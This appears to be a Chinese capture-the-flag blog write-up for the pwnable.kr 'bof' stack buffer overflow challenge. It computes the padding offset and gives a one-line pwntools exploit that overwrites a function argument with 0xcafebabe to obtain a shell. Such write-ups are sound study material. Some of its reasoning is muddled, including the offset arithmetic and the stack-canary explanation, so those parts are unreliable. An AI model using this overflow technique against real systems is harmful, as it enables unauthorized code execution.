2025-11-25-BOF
十一月 25, 2025
EZ_BOF
参考题目来源:https://pwnable.kr/play.php
查看源代码
1 |
|
整理逻辑:
初始:func(0xdeadbeef)
我们需要修改为:0xcafebabe
溢出点是:
1 | char overflowme[32]; |
经过计算是
12字节 saved EBP(4字节)+ saved EIP(4字节)+ main传的key参数(4字节)
但是经过检查
1 | bof@ubuntu:~$ checksec ./bof |
发现开启了 Canary found
众所周知:Canary 就是 在栈上的返回地址之前放置一个随机值(canary)
所以,我们需要把Canary也覆盖掉
地址计算:
0xffffd240 - 0xffffd208 = 0x38(16进制) 0x38 = 56(10进制)
第一个A的地址 → key的地址 差56字节 → 52个A + 4字节魔法值。
所以 exp为
1 | from pwn import *;r=remote('0','9000');r.sendline(52*b'A'+p32(0xcafebabe));r.interactive() |
p32(0xcafebabe) 会生成b'\xbe\xba\xfe\xca'
查看评论